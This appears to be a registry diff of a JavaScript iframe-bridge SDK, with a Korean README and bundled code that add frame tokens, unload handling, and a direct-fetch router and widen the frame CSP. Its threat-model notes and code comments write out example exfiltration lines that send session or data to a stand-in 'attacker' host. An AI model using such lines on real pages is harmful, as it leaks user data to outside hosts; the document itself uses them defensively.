@bstage-sdk/bridge 0.9.1 → 0.11.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -79,6 +79,62 @@ host.dispose()
79
79
  모두 맞는 메시지만 처리한다. 토큰은 프레임으로 가지 않는다 — 인증은 `fetchImpl`이 호스트 쪽에서 붙이고,
80
80
  프레임에는 상태·statusText·content-type·본문 문자열만 돌아간다.
81
81
 
82
+ ### 세션 수명과 프레임 자기 내비게이션
83
+
84
+ 템플릿은 자기 프레임을 다른 URL로 옮길 수 있다(`location = 'https://attacker/#' + session`). sandbox 플래그는
85
+ 내비게이션 뒤에도 남으므로 새 문서도 origin `"null"`이고 `contentWindow`도 같다 — `ev.source`·origin 검사만으로는
86
+ 옛 문서와 새 문서를 가를 수 없고, 세션은 srcdoc 본문에 있어 템플릿이 읽어 URL로 넘길 수 있다. 호스트가 iframe의
87
+ 두 번째 `load`에서 `dispose()`해도 새 문서의 스크립트는 `load`보다 먼저 돈다. SDK는 이 틈을 다음으로 닫는다
88
+ (호스트 코드 변경 없음).
89
+
90
+ - **세션당 문서 하나(프레임 토큰)**: 프레임 런타임이 부트스트랩 때 문서마다 128비트 토큰을 만들어 모든 봉투 최상위
91
+ `frame`에 싣는다. 호스트는 세션이 맞는 첫 메시지의 토큰에 세션을 묶고, 이후 **토큰이 없거나 다른** 메시지가 오면
92
+ 그 메시지를 처리하지 않고 즉시 `dispose()`한다. 같은 토큰의 `ready` 재전송에는 계속 답하지만, 다른 문서의 두 번째
93
+ 핸드셰이크는 성립하지 않는다. 세션을 URL로 받은 새 문서는 토큰을 모르므로 첫 메시지에서 세션이 끊긴다.
94
+ - **토큰은 CSPRNG로만 만든다**: `crypto.getRandomValues`가 없으면 `Math.random`으로 대신하지 않고 브리지를 열지 않는다(`frame-unload` 외에는 아무것도 보내지 않는다).
95
+ - **핸드셰이크 전에는 이벤트를 보내지 않는다**: `host.send`는 토큰이 묶이기 전에는 프레임에 보내지 않고 init에만 반영한다. init에 접히지 않는 `visibility`는 마지막 값을 묶인 직후(init 뒤) 한 번 보낸다. 공개되는 봉투 id 접두사와 따로 뽑는다.
96
+ - **토큰은 템플릿 코드에 노출하지 않는다**: 런타임 클로저에만 있고, 봉투는 객체 리터럴로 만들며(Object.prototype
97
+ setter를 부르지 않는다) 부트스트랩 때 `bind`해 둔 `parent.postMessage`로만 보낸다. 호스트 → 프레임 메시지
98
+ (init·응답·이벤트)에는 실리지 않는다. 그래서 템플릿이 `Object.assign`·`Function.prototype.*`·`Object.prototype`
99
+ setter를 가로채도 보이는 것은 세션뿐이다(테스트로 고정). 세션은 템플릿이 읽을 수 있다 — 같은 문서이고 srcdoc 본문에
100
+ 있기 때문이다. 세션은 "이 iframe의 메시지"라는 표식일 뿐 비밀로 취급하지 않는다.
101
+ - **`frame-unload`**: 부트스트랩이 `pagehide`(capture, 템플릿보다 먼저 등록)에서 `evt:frame-unload`를 동기로 보낸다.
102
+ **전송을 가장 먼저** 하고, 전송 경로는 객체 리터럴과 부트스트랩 때 잡아 둔 참조(`bind`한 `postMessage`,
103
+ `PageTransitionEvent.prototype.persisted` 원본 접근자를 `Function.prototype.call.bind`로 묶은 것)만 쓴다.
104
+ `clearInterval`·`clearTimeout`도 부트스트랩 때 잡고, 타이머·대기 요청 정리는 전송 뒤 각각 try로 감싼다. 그래서
105
+ 템플릿이 **리스너가 살아 있는 동안** 전역·프로토타입(`clearInterval`·`clearTimeout`·`Map.prototype.forEach`·`Error`·
106
+ `Function.prototype.call`·`persisted` 접근자)을 바꾸거나 던지게 해도 전송은 막히지 않는다(테스트로 고정).
107
+ `persisted` 읽기가 실패하면 bfcache 진입이 아닌 것으로 보고 보낸다(실패는 끊는 쪽으로).
108
+ 보장하지 **않는** 것: 템플릿이 `document.open()`으로 창의 이벤트 리스너를 모두 지운 뒤 내비게이션하면 `pagehide`
109
+ 처리기 자체가 돌지 않는다 — 이때는 프레임 토큰과 호스트의 두 번째 `load` dispose에 기댄다.
110
+ 호스트는 받는 즉시 `dispose()`한다 — 이후 메시지는 무시되고, dispose 뒤 끝난 요청의 응답도 프레임에 보내지 않는다.
111
+ 프레임 쪽 대기 요청은 `UNSUPPORTED`로 바로 거절된다. bfcache 진입(`persisted: true`)에는 보내지 않는다(복원되면 같은 문서가 계속 쓴다).
112
+ - **`onDispose(reason)`**(선택): 호스트가 dispose될 때 한 번 불린다. `'frame-unload'`·`'frame-mismatch'`는 호스트가
113
+ 스스로 끊은 경우, `'manual'`은 `dispose()` 호출이다. 임베더는 이 콜백에서 iframe을 바로 걷어 낼 수 있다(콜백 예외는 삼킨다).
114
+ `beforeunload`·`unload`는 쓰지 않는다 — `beforeunload`는 호스트 페이지 자체의 이동에도 프레임에 오므로 이동이
115
+ 취소되거나 bfcache에서 복원되면 멀쩡한 템플릿이 끊기고, 하위 프레임의 `unload` 리스너는 호스트 페이지의 bfcache를
116
+ 막고 폐기 중인 API다.
117
+
118
+ **남는 위험(정직하게)**
119
+
120
+ - 막는 것은 "새 문서가 유효한 교환을 하는 것"이다. 새 문서가 **메시지를 보내지 않고 기다리면**, 호스트가 알아채기
121
+ 전까지(`frame-unload` 처리 또는 두 번째 `load`) `host.send`로 보내는 이벤트(`locale`·`theme`·`member`의
122
+ `signedIn`·`nickname`·`slot.context`·`visibility`)를 받을 수 있다. Chromium은 다른 프로세스로 가는 하위 프레임
123
+ 내비게이션에서 옛 문서의 `pagehide`를 새 문서 커밋과 병렬로 돌리므로 이 틈은 0이 아니다. 이벤트·init에 민감 정보를
124
+ 싣지 않는다는 원칙이 여기서도 경계다.
125
+ - 토큰 비공개는 JS 수준 보장이다. 엔진 버그나 이 SDK가 놓친 관찰 경로로 원래 문서의 템플릿이 토큰을 얻어 URL로 넘기면,
126
+ 새 문서는 `frame-unload`가 처리되기 전까지 유효한 요청을 보낼 수 있다. 이 경우의 마지막 방어선은 `frame-unload`와
127
+ 호스트의 두 번째 `load` dispose다.
128
+ - **진행 중인 요청의 응답**: 원래 문서가 보낸 요청의 응답이 내비게이션 뒤·dispose 전에 끝나면, 호스트는 그 응답을
129
+ `iframe.contentWindow`(= 새 문서)로 보낸다. 새 문서는 응답 봉투를 읽을 수 있다. dispose 뒤에 끝난 응답은 버리지만
130
+ 호스트 쪽 fetch 자체를 중단하지는 않는다(dispose 시 진행 중 fetch abort는 후속 과제).
131
+ - 세션을 아는 쪽(= 그 프레임의 템플릿)은 잘못된 토큰을 보내 자기 세션을 끊을 수 있다. 자기 자신에 대한 서비스 거부일 뿐이다.
132
+ - 호스트는 srcdoc마다 새 세션(`createSession()`)을 만들고 세션 하나에 `createBridgeHost`를 하나만 둔다. 같은 세션으로
133
+ 호스트를 다시 만들면 묶임이 새로 시작된다.
134
+ - **같은 srcdoc의 재로드·재삽입에는 새 호스트가 필요하다**: iframe을 DOM에서 옮기거나 다시 넣거나 `srcdoc`를 다시 설정하면
135
+ 새 문서(새 프레임 토큰)가 뜨므로, 옛 호스트는 `frame-unload`나 `frame-mismatch`로 끊기고 그 문서는 브리지를 쓰지 못한다.
136
+ 이때는 새 세션으로 `createSrcdoc`·`createBridgeHost`를 다시 만든다(`onDispose`로 감지할 수 있다).
137
+
82
138
  ### fetch 정책
83
139
 
84
140
  `new URL(url, hostOrigin)`으로 정규화한 뒤 목적지를 네 갈래로 나눈다.
@@ -159,10 +215,11 @@ external에 인증을 붙이는 fetch를 주입하지 않는다. 외부 갈래
159
215
 
160
216
  오류 코드: `FORBIDDEN_DESTINATION`·`FORBIDDEN_METHOD`·`BODY_TOO_LARGE`·`RATE_LIMITED`·`BAD_REQUEST`·`TIMEOUT`·`NETWORK_ERROR`·`UNSUPPORTED`.
161
217
  프레임 요청은 15초 안에 응답이 없으면 `TIMEOUT`. 핸드셰이크(`ready`)는 init을 받을 때까지 재전송한다(처음 10초는 250ms, 이후 2초 간격).
218
+ 프레임 → 호스트 봉투에는 최상위 `frame`(프레임 토큰)이 붙고, 문서가 내려갈 때 `evt:frame-unload`(`FRAME_UNLOAD_EVENT`)가 간다(위 "세션 수명").
162
219
 
163
220
  ## 프레임 문서
164
221
 
165
- `createSrcdoc`가 만드는 문서는 CSP로 프레임의 직접 네트워크를 좁힌다. 스크립트는 nonce가 붙은
222
+ `createSrcdoc`가 만드는 문서는 CSP로 프레임이 불러올 수 있는 것을 좁힌다. 스크립트는 nonce가 붙은
166
223
  부트스트랩과 `assetOrigin`의 번들만 실행된다. 부트스트랩은 브리지 클라이언트를 설치하고 init을 받은 뒤
167
224
  엔트리를 로드해 custom element를 붙이고, 문서 높이를 `resize`로 보고한다.
168
225
 
@@ -173,11 +230,12 @@ style-src 'unsafe-inline' {assetOrigin}
173
230
  img-src {assetOrigin} {mediaOrigins…} data: blob:
174
231
  font-src {assetOrigin} data:
175
232
  media-src {assetOrigin} {mediaOrigins…} blob:
176
- connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
233
+ connect-src https: wss:; frame-src 'none'; form-action 'none'; base-uri 'none'
177
234
  ```
178
235
 
179
- - `fetch`·XHR·WebSocket·EventSource는 `connect-src 'none'`으로 막힌다. API 호출은 브리지(`request`)로만 간다 —
180
- `allowExternal: true`면 브리지가 무인증 외부 https 호출을 중개하므로, 프레임이 가진 데이터는 이 경로로도 밖에 나갈 수 있다.
236
+ - `connect-src`는 항상 `https: wss:`다(아래 "프레임 네트워크"). 평문 `http:`·`ws:`는 열지 않는다. 토큰이 필요한 API는
237
+ 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 프레임 안에서 직접 부른다.
238
+ 브리지 fetch(`__bstage_bridge__.fetch`)의 external 갈래(`allowExternal: true`)도 호환을 위해 그대로 남는다.
181
239
  - img-src·media-src에 맨 `https:`는 두지 않는다 — 두면 `<img src="https://임의-origin/?d=…">`가 자유로운 GET
182
240
  유출 통로가 된다. 외부 이미지·미디어가 필요하면 `mediaOrigins`에 **정확한 https origin**만 넘긴다
183
241
  (경로·쿼리·userinfo·와일드카드·대문자 호스트 불가, 최대 20개, 하나라도 틀리면 `TypeError`). font-src는 넓히지 않는다.
@@ -186,6 +244,54 @@ connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
186
244
  절대 들어가지 않는다**는 것이다 — 인증은 호스트의 `fetchImpl`이 붙이고, 토큰을 응답으로 돌려주는 인증 경로는
187
245
  게이트웨이 거절 목록(`gatewayDenyPrefixes`·`gatewayDenySegments`)으로 막는다. 프레임에 넘기는 init·이벤트·응답에 민감 정보를 싣지 않는다.
188
246
 
247
+ ### 프레임 네트워크 (항상 적용)
248
+
249
+ 결정(2026-10-22): 격리 프레임에서 **토큰이 필요한 정해진 API만 브리지**로 보내고(호스트가 팬 토큰을 붙인다),
250
+ **그 밖의 API는 템플릿이 프레임 안에서 직접** 부른다. 호스트 옵션은 없다 — `createSrcdoc`로 만든 모든 프레임(포털 미리보기 포함)이
251
+ 이 규칙으로 돈다.
252
+
253
+ 동작:
254
+
255
+ - CSP `connect-src https: wss:`. `http:`·`ws:`는 열지 않는다. `img-src`·`media-src`·`font-src`는 위처럼 좁게 두고
256
+ `frame-src 'none'`·`form-action 'none'`·`base-uri 'none'`도 그대로다.
257
+ - 부트스트랩이 템플릿 코드보다 먼저 `globalThis.__bstage_fetch__`(쓰기 불가)를 설치한다. inline 모드용으로 쓰인 템플릿이
258
+ 부르는 그 이름이다. `new URL(input, hostOrigin)`으로 정규화한 뒤 갈래를 나눈다.
259
+
260
+ | 목적지 | 갈래 |
261
+ | ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
262
+ | hostOrigin + 경로가 init `gatewayPrefixes` 안(web-base는 `['/gw/', '/svc/']`) | 브리지 fetch(기존 프로토콜, 호스트가 다시 판정하고 토큰을 붙인다) |
263
+ | origin이 init `partnerOrigins`와 정확히 일치 | 브리지 fetch(`partnerFetchImpl`) |
264
+ | 그 밖의 https | 프레임의 원래 `fetch`(부트스트랩 때 잡은 참조), `credentials: 'omit'`·`referrerPolicy: 'no-referrer'` |
265
+ | hostOrigin의 게이트웨이 밖 경로, https가 아닌 스킴(http·data·blob 등) | `TypeError`(혼동을 막으려고 직접 보내지 않는다) |
266
+
267
+ - init에 `gatewayPrefixes`(호스트 `policy.gatewayPrefixes`)가 실린다. 판정의 정본은 여전히 호스트 정책이고, 프레임 라우터는
268
+ 보낼 길만 고른다. 필드가 없는 옛 호스트면 hostOrigin 요청은 경로와 무관하게 브리지로 보낸다.
269
+ - 라우터는 판정·전송에 쓰는 전역(`fetch`·`URL`과 그 접근자·`String.prototype.slice`·`Promise.prototype.then`·`Object.assign`)과
270
+ init의 라우팅 목록 사본을 부트스트랩 때 잡아 둔다. 템플릿이 나중에 전역·프로토타입·`getInit()` 객체를 바꿔도 갈래는 바뀌지 않는다(테스트로 고정).
271
+ 갈래가 바뀌더라도 토큰은 새지 않는다 — 브리지로 간 요청은 호스트가 따로 판정하고, 직접 간 요청에는 토큰이 없다.
272
+ - 직접 호출에 인증 헤더를 **붙이지 않는다.** 템플릿이 스스로 넣은 헤더는 그대로 간다.
273
+ - `__bstage_bridge__.fetch`(브리지 fetch)와 호스트의 external 갈래(`allowExternal`)는 그대로 동작한다(호환).
274
+ - core `BstageClient`는 프레임 안에서 계속 브리지 fetch를 쓴다 — 기본 목적지가 게이트웨이(`gatewayBase`)라 토큰이 필요한 쪽이다.
275
+ `baseUrl`을 외부로 바꾼 `BstageClient`는 브리지의 external 갈래로 중계되므로 호스트가 `allowExternal: true`여야 한다.
276
+ 외부를 직접 부르려면 `__bstage_fetch__`나 `fetch`를 쓴다(`config.fetch: globalThis.__bstage_fetch__`도 된다).
277
+
278
+ **보안상 맞바꾼 것(정직하게)** — 아래는 이 결정으로 열린 것이다. 끄는 스위치는 없으므로 프레임을 띄우는 모든 호스트가 아래 조건을 갖춘다.
279
+
280
+ - **직접 호출에는 브리지 정책이 적용되지 않는다.** 사설 IP·IP 리터럴·`localhost`·내부 이름 거절, 분당·동시 요청 상한,
281
+ 요청·응답 본문 상한이 없다. 프레임이 가진 데이터는 임의 https로 나갈 수 있고(이전에도 `allowExternal`·자기 내비게이션으로
282
+ 가능했다), 사설망 접근은 브라우저의 Local Network Access에 맡긴다.
283
+ - **요청은 `Origin: null`로 나간다**(sandbox opaque origin). 직접 부를 API는 CORS에서 `*` 또는 `null`을 허용해야 응답을 읽을 수 있다.
284
+ `null`을 credentials와 함께 허용하는 CORS는 다른 sandbox 문서에도 열리는 것이므로 API 쪽에서 피한다.
285
+ - **토큰은 여전히 프레임에 들어가지 않는다.** 팬 토큰·쿠키는 호스트 `fetchImpl`·`partnerFetchImpl`이 브리지 요청에만 붙인다.
286
+ - **같은 origin 게이트웨이·`/svc`는 브리지로만** 간다 — 단 이것은 `__bstage_fetch__` 라우터의 보장이다. 전역 `fetch`·`XMLHttpRequest`·
287
+ `navigator.sendBeacon`·`EventSource`·`WebSocket`은 그대로 남고 CSP `https:`는 hostOrigin도 포함하므로, 템플릿은 hostOrigin에
288
+ 직접(`credentials: 'include'`, `mode: 'no-cors'`, `sendBeacon`은 항상 자격증명 포함) 요청을 보낼 수 있다. 이 요청은 브리지의
289
+ 거절 규칙(`gatewayDenyPrefixes`·`gatewayDenySegments`)·상한을 거치지 않는다. opaque origin에서 나가 cross-site로 취급되므로
290
+ **`SameSite=None` 쿠키만** 실리고, 응답은 호스트 CORS가 `null`을 허용하지 않으면 읽히지 않는다(부작용은 일어날 수 있다).
291
+ 그래서 프레임을 띄우는 호스트는 ① 호스트 origin 쿠키를 `SameSite=Lax`/`Strict`로 두고(`None` 쿠키는 이 직접 요청에 실린다 — 권장 후속 조치)
292
+ ② CORS에 `null` origin을 허용하지 않으며 ③ 쿠키로 인증하는 상태 변경 엔드포인트에 CSRF 방어를 유지한다.
293
+ - 토큰을 응답 본문으로 돌려주는 경로(토큰 갱신 등)는 브리지의 게이트웨이 거절 규칙으로 계속 막힌다 — 직접 호출로는 토큰이 없으니 닿아도 얻을 것이 없다.
294
+
189
295
  프레임 안 제약: 쿠키·`localStorage`·호스트 DOM에 접근할 수 없다(opaque origin). 번역 사전은 CDN이 아니라
190
296
  호스트가 init·`locale` 이벤트의 `translations`로 넘긴다. 브리지 모드의 `fetchTranslations`는 **현재 locale 사전만**
191
297
  돌려주고, 다른 locale(폴백 체인의 `en`·`ko` 등)은 빈 사전 `{}`이다. 같은 locale에 사전만 새로 와도 `useBstageTranslations`가 다시 읽는다.
@@ -90,6 +90,126 @@ function createBridgeFetch(client) {
90
90
  return bridgeFetch;
91
91
  }
92
92
 
93
+ // src/frame/directFetch.ts
94
+ function installDirectFetch(g, client, config) {
95
+ const hostOrigin = config.hostOrigin;
96
+ const callFn = Function.prototype.call;
97
+ const NativeURL = g.URL;
98
+ const rawFetch = g.fetch;
99
+ const nativeFetch = typeof rawFetch === "function" ? callFn.bind(rawFetch) : void 0;
100
+ const bridgeFetch = client.fetch;
101
+ const strSlice = callFn.bind(String.prototype.slice);
102
+ const promiseThen = callFn.bind(Promise.prototype.then);
103
+ const promiseReject = Promise.reject.bind(Promise);
104
+ const assign = Object.assign;
105
+ const TypeErr = TypeError;
106
+ function getter(ctor, name) {
107
+ if (typeof ctor !== "function") return void 0;
108
+ let proto = ctor.prototype;
109
+ while (proto) {
110
+ const desc = Object.getOwnPropertyDescriptor(proto, name);
111
+ if (desc && typeof desc.get === "function") {
112
+ return callFn.bind(desc.get);
113
+ }
114
+ proto = Object.getPrototypeOf(proto);
115
+ }
116
+ return void 0;
117
+ }
118
+ const getHref = getter(NativeURL, "href");
119
+ const getOrigin = getter(NativeURL, "origin");
120
+ const getProtocol = getter(NativeURL, "protocol");
121
+ const getPathname = getter(NativeURL, "pathname");
122
+ const getRequestUrl = getter(g.Request, "url");
123
+ let gatewayPrefixes = null;
124
+ let partnerOrigins = [];
125
+ let routesReady = false;
126
+ function copyStrings(value) {
127
+ if (!Array.isArray(value)) return null;
128
+ const out = [];
129
+ for (let i = 0; i < value.length; i += 1) {
130
+ if (typeof value[i] === "string") out[out.length] = value[i];
131
+ }
132
+ return out;
133
+ }
134
+ function takeSnapshot(init) {
135
+ if (routesReady) return;
136
+ const raw = init;
137
+ gatewayPrefixes = copyStrings(raw.gatewayPrefixes);
138
+ partnerOrigins = copyStrings(raw.partnerOrigins) || [];
139
+ routesReady = true;
140
+ }
141
+ promiseThen(client.ready, takeSnapshot);
142
+ function matchesPrefix(pathname, prefix) {
143
+ const bare = strSlice(prefix, prefix.length - 1) === "/" ? strSlice(prefix, 0, -1) : prefix;
144
+ return pathname === bare || strSlice(pathname, 0, bare.length + 1) === bare + "/";
145
+ }
146
+ function routeOf(origin, protocol, pathname) {
147
+ if (origin === hostOrigin) {
148
+ if (gatewayPrefixes === null) return "bridge";
149
+ for (let i = 0; i < gatewayPrefixes.length; i += 1) {
150
+ if (matchesPrefix(pathname, gatewayPrefixes[i])) return "bridge";
151
+ }
152
+ return "reject";
153
+ }
154
+ for (let i = 0; i < partnerOrigins.length; i += 1) {
155
+ if (origin === partnerOrigins[i]) return "bridge";
156
+ }
157
+ return protocol === "https:" ? "direct" : "reject";
158
+ }
159
+ function requestUrlOf(input) {
160
+ if (!getRequestUrl || typeof input !== "object" || input === null) return void 0;
161
+ try {
162
+ return getRequestUrl(input);
163
+ } catch {
164
+ return void 0;
165
+ }
166
+ }
167
+ function dispatch(input, init) {
168
+ if (typeof NativeURL !== "function" || !getHref || !getOrigin || !getProtocol || !getPathname) {
169
+ return promiseReject(new TypeErr("bstage fetch: URL is unavailable"));
170
+ }
171
+ const requestUrl = requestUrlOf(input);
172
+ const request = requestUrl !== void 0;
173
+ let parsed;
174
+ try {
175
+ parsed = new NativeURL(request ? requestUrl : String(input), hostOrigin);
176
+ } catch {
177
+ return promiseReject(new TypeErr("bstage fetch: invalid url"));
178
+ }
179
+ const href = getHref(parsed);
180
+ const route = routeOf(getOrigin(parsed), getProtocol(parsed), getPathname(parsed));
181
+ const target = request ? input : href;
182
+ if (route === "bridge") return bridgeFetch(target, init);
183
+ if (route === "reject") {
184
+ return promiseReject(new TypeErr("bstage fetch: destination not allowed"));
185
+ }
186
+ if (!nativeFetch) return promiseReject(new TypeErr("bstage fetch: fetch is unavailable"));
187
+ return nativeFetch(
188
+ g,
189
+ target,
190
+ assign({}, init, { credentials: "omit", referrerPolicy: "no-referrer" })
191
+ );
192
+ }
193
+ function bstageFetch(input, init) {
194
+ try {
195
+ if (routesReady) return dispatch(input, init);
196
+ return promiseThen(client.ready, function(value) {
197
+ takeSnapshot(value);
198
+ return dispatch(input, init);
199
+ });
200
+ } catch {
201
+ return promiseReject(new TypeErr("bstage fetch: request failed"));
202
+ }
203
+ }
204
+ Object.defineProperty(g, "__bstage_fetch__", {
205
+ value: bstageFetch,
206
+ writable: false,
207
+ configurable: false,
208
+ enumerable: false
209
+ });
210
+ return bstageFetch;
211
+ }
212
+
93
213
  // src/frame/runtime.ts
94
214
  function bridgeRuntime(g, makeFetch, config) {
95
215
  const NS = "bstage-bridge";
@@ -103,6 +223,20 @@ function bridgeRuntime(g, makeFetch, config) {
103
223
  const session = config.session;
104
224
  const hostOrigin = config.hostOrigin;
105
225
  const parent = g.parent;
226
+ const sendToHost = parent ? parent.postMessage.bind(parent) : void 0;
227
+ const stopInterval = clearInterval;
228
+ const stopTimeout = clearTimeout;
229
+ let readPersisted;
230
+ const ownDescriptor = Object.getOwnPropertyDescriptor;
231
+ const hasOwn = Function.prototype.call.bind(Object.prototype.hasOwnProperty);
232
+ try {
233
+ const pte = g.PageTransitionEvent;
234
+ const desc = pte ? Object.getOwnPropertyDescriptor(pte.prototype, "persisted") : void 0;
235
+ if (desc && typeof desc.get === "function")
236
+ readPersisted = Function.prototype.call.bind(desc.get);
237
+ } catch {
238
+ readPersisted = void 0;
239
+ }
106
240
  const pending = /* @__PURE__ */ new Map();
107
241
  const listeners = /* @__PURE__ */ new Map();
108
242
  let init;
@@ -119,6 +253,17 @@ function bridgeRuntime(g, makeFetch, config) {
119
253
  return out;
120
254
  }
121
255
  const idPrefix = randomPrefix();
256
+ function secureToken() {
257
+ if (!g.crypto || typeof g.crypto.getRandomValues !== "function") return "";
258
+ const bytes = new Uint8Array(16);
259
+ g.crypto.getRandomValues(bytes);
260
+ let out = "";
261
+ for (let i = 0; i < bytes.length; i += 1) out += (bytes[i] + 256).toString(16).slice(1);
262
+ return out;
263
+ }
264
+ const frameToken = secureToken();
265
+ let closed = frameToken === "";
266
+ let unloaded = false;
122
267
  function nextId() {
123
268
  seq += 1;
124
269
  return idPrefix + "-" + seq;
@@ -130,9 +275,12 @@ function bridgeRuntime(g, makeFetch, config) {
130
275
  return err;
131
276
  }
132
277
  function post(kind, type, id, payload) {
133
- if (!parent) return;
278
+ if (!sendToHost || closed) return;
134
279
  const body = Object.assign({}, payload, { session });
135
- parent.postMessage({ v: 1, ns: NS, id, kind, type, payload: body }, hostOrigin);
280
+ sendToHost(
281
+ { v: 1, ns: NS, id, kind, type, payload: body, frame: frameToken },
282
+ hostOrigin
283
+ );
136
284
  }
137
285
  function isEnvelope(m) {
138
286
  if (typeof m !== "object" || m === null) return false;
@@ -205,6 +353,54 @@ function bridgeRuntime(g, makeFetch, config) {
205
353
  }
206
354
  }
207
355
  g.addEventListener("message", onMessage);
356
+ function isPersisted(ev) {
357
+ try {
358
+ if (readPersisted) return readPersisted(ev) === true;
359
+ if (typeof ev !== "object" || ev === null) return false;
360
+ const desc = ownDescriptor(ev, "persisted");
361
+ return !!desc && hasOwn(desc, "value") && desc.value === true;
362
+ } catch {
363
+ return false;
364
+ }
365
+ }
366
+ function onPageHide(ev) {
367
+ if (unloaded || isPersisted(ev)) return;
368
+ unloaded = true;
369
+ closed = true;
370
+ if (sendToHost) {
371
+ try {
372
+ sendToHost(
373
+ {
374
+ v: 1,
375
+ ns: NS,
376
+ id: idPrefix + "-unload",
377
+ kind: "evt",
378
+ type: "frame-unload",
379
+ payload: { session },
380
+ frame: frameToken
381
+ },
382
+ hostOrigin
383
+ );
384
+ } catch {
385
+ }
386
+ }
387
+ try {
388
+ stopInterval(readyTimer);
389
+ } catch {
390
+ }
391
+ try {
392
+ pending.forEach(function(entry) {
393
+ try {
394
+ stopTimeout(entry.timer);
395
+ entry.reject(codeError("UNSUPPORTED", "bridge closed"));
396
+ } catch {
397
+ }
398
+ });
399
+ pending.clear();
400
+ } catch {
401
+ }
402
+ }
403
+ g.addEventListener("pagehide", onPageHide, true);
208
404
  let readyAttempts = 0;
209
405
  function sendReady() {
210
406
  readyAttempts += 1;
@@ -218,6 +414,10 @@ function bridgeRuntime(g, makeFetch, config) {
218
414
  sendReady();
219
415
  function request(type, payload) {
220
416
  return new Promise(function(resolve, reject) {
417
+ if (closed) {
418
+ reject(codeError("UNSUPPORTED", "bridge closed"));
419
+ return;
420
+ }
221
421
  const id = nextId();
222
422
  const timer = setTimeout(function() {
223
423
  pending.delete(id);
@@ -262,5 +462,6 @@ function bridgeRuntime(g, makeFetch, config) {
262
462
 
263
463
  export {
264
464
  bridgeRuntime,
265
- createBridgeFetch
465
+ createBridgeFetch,
466
+ installDirectFetch
266
467
  };
@@ -1,7 +1,8 @@
1
1
  import {
2
2
  bridgeRuntime,
3
- createBridgeFetch
4
- } from "./chunk-KQMJY4ZH.js";
3
+ createBridgeFetch,
4
+ installDirectFetch
5
+ } from "./chunk-CSAW3L7P.js";
5
6
 
6
7
  // src/protocol/envelope.ts
7
8
  var BRIDGE_VERSION = 1;
@@ -65,6 +66,7 @@ var REQUEST_TYPES = [
65
66
  var HOST_EVENT_TYPES = ["slot.context", "locale", "member", "theme", "visibility"];
66
67
  var READY_EVENT = "ready";
67
68
  var INIT_RESPONSE = "init";
69
+ var FRAME_UNLOAD_EVENT = "frame-unload";
68
70
  var BRIDGE_SURFACES = ["page", "slot"];
69
71
  function isBridgeSurface(value) {
70
72
  return BRIDGE_SURFACES.includes(value);
@@ -448,7 +450,7 @@ function buildFrameCsp(nonce, assetOrigin, mediaOrigins = []) {
448
450
  `img-src ${media} data: blob:`,
449
451
  `font-src ${assetOrigin} data:`,
450
452
  `media-src ${media} blob:`,
451
- "connect-src 'none'",
453
+ "connect-src https: wss:",
452
454
  "frame-src 'none'",
453
455
  "form-action 'none'",
454
456
  "base-uri 'none'"
@@ -465,6 +467,9 @@ function bootstrapScript(o) {
465
467
  `var bridgeRuntime = ${bridgeRuntime.toString()};`,
466
468
  `var createBridgeFetch = ${createBridgeFetch.toString()};`,
467
469
  "var client = bridgeRuntime(globalThis, createBridgeFetch, { session: SESSION, hostOrigin: HOST_ORIGIN });",
470
+ // 라우터는 항상 심는다. ready.then이 엔트리 로드(아래 client.ready.then)보다 먼저 등록돼야 템플릿보다 먼저 스냅샷을 잡는다.
471
+ `var installDirectFetch = ${installDirectFetch.toString()};`,
472
+ "installDirectFetch(globalThis, client, { hostOrigin: HOST_ORIGIN });",
468
473
  "var lastHeight = -1;",
469
474
  "var scheduled = false;",
470
475
  "function reportHeight() {",
@@ -551,6 +556,7 @@ export {
551
556
  HOST_EVENT_TYPES,
552
557
  READY_EVENT,
553
558
  INIT_RESPONSE,
559
+ FRAME_UNLOAD_EVENT,
554
560
  BRIDGE_SURFACES,
555
561
  isBridgeSurface,
556
562
  IFRAME_ATTRIBUTES,
@@ -33,6 +33,9 @@ declare const MAX_ELEMENT_NAME_LENGTH = 100;
33
33
  /**
34
34
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
35
35
  *
36
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
37
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
38
+ *
36
39
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
37
40
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
38
41
  *
@@ -33,6 +33,9 @@ declare const MAX_ELEMENT_NAME_LENGTH = 100;
33
33
  /**
34
34
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
35
35
  *
36
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
37
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
38
+ *
36
39
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
37
40
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
38
41
  *